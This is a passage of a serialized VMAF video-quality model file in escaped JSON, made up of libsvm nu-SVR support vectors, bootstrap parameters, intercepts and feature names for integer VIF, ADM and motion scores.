\n-4 1:0.84450653 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.39559773 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n-4 1:0.70621493 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.65615861 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.58837863 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.77687144 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-1.966116876631112 1:0.72849768 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n-3.906831378063804 1:0.66320082 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n4 1:0.84500499 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.8874543 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n4 1:0.31032192 2:0.42532178 3:0.18976794 4:0.30662908 5:0.34637104 6:0.3661022 \n4 1:0.41026349 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.67552108 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n4 1:0.62772585 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.5741386 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n4 1:0.7629976 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.71746409 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.73137955 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.67383121 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n4 1:0.5905971 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.66157018 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.66827754 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.85027066 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n4 1:0.87892054 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n4 1:0.3986268 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n-4 1:0.48997993 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.7022939 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.65773092 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n0.2951376518668717 1:0.60031736 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n4 1:0.77623676 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n4 1:0.73562396 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n-4 1:0.67923081 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.83968539 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n4 1:0.86656342 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.42728303 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.63194526 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n4 1:0.56954706 2:0.54342577 3:0.14271477 4:0.41491191 5:0.50173488 6:0.55220392 \n4 1:0.76753176 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.72348649 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.83584492 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.85530855 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.53835734 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n-4 1:0.59175144 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n-4 1:0.75962366 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.72043129 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n-4 1:0.67287449 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n-4 1:0.8023177 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.76751376 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.72124785 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n&quot;,
        &quot;feature_dict&quot;: {
            &quot;VMAF_integer_feature&quot;: [
                &quot;vif_scale0&quot;,
                &quot;vif_scale1&quot;,
                &quot;vif_scale2&quot;,
                &quot;vif_scale3&quot;,
                &quot;adm2&quot;,
                &quot;motion2&quot;
            ]
        }
    }
} 3=                             {
    &quot;0&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 210\nrho -1.38271\nSV\n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n4 1:0.93011029 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n0.8826029312263716 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-2.604338473801064 1:0.69004118 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 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    },
    &quot;1&quot;: {
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            &quot;score_transform&quot;: {
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            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 214\nrho -2.01955\nSV\n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.73346397 2:0.49739676 3:0.37130724 4:0.51472366 5:0.59961357 6:0.66258291 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-2.824427709331125 1:0.69981151 2:0.54342577 3:0.21726369 4:0.60683566 5:0.72232536 6:0.78414054 \n-4 1:0.69981151 2:0.54342577 3:0.21726369 4:0.60683566 5:0.72232536 6:0.78414054 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n3.070369083729773 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n3.349595037286852 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n0.1908067873206156 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.63920442 2:0.20629643 3:0.16825499 4:0.55661206 5:0.69111529 6:0.7656762 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n1.260121716784963 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n-1.820426938591862 1:0.69981151 2:0.54342577 3:0.21726369 4:0.60683566 5:0.72232536 6:0.78414054 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n4 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.93181136 2:0.49739676 3:0.62713449 4:0.86099016 5:0.91514168 6:0.94169199 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n-4 1:0.71258735 2:0.22767235 3:0.1864032 4:0.58471122 5:0.67581508 6:0.72558613 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.86064316 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n-4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n2.066118912657622 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n0.4106497146177331 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-0.395242760145892 1:0.37333711 2:0.23066177 3:0.29022709 4:0.26882214 5:0.30809596 6:0.35304275 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.73346397 2:0.49739676 3:0.37130724 4:0.51472366 5:0.59961357 6:0.66258291 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.62474007 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 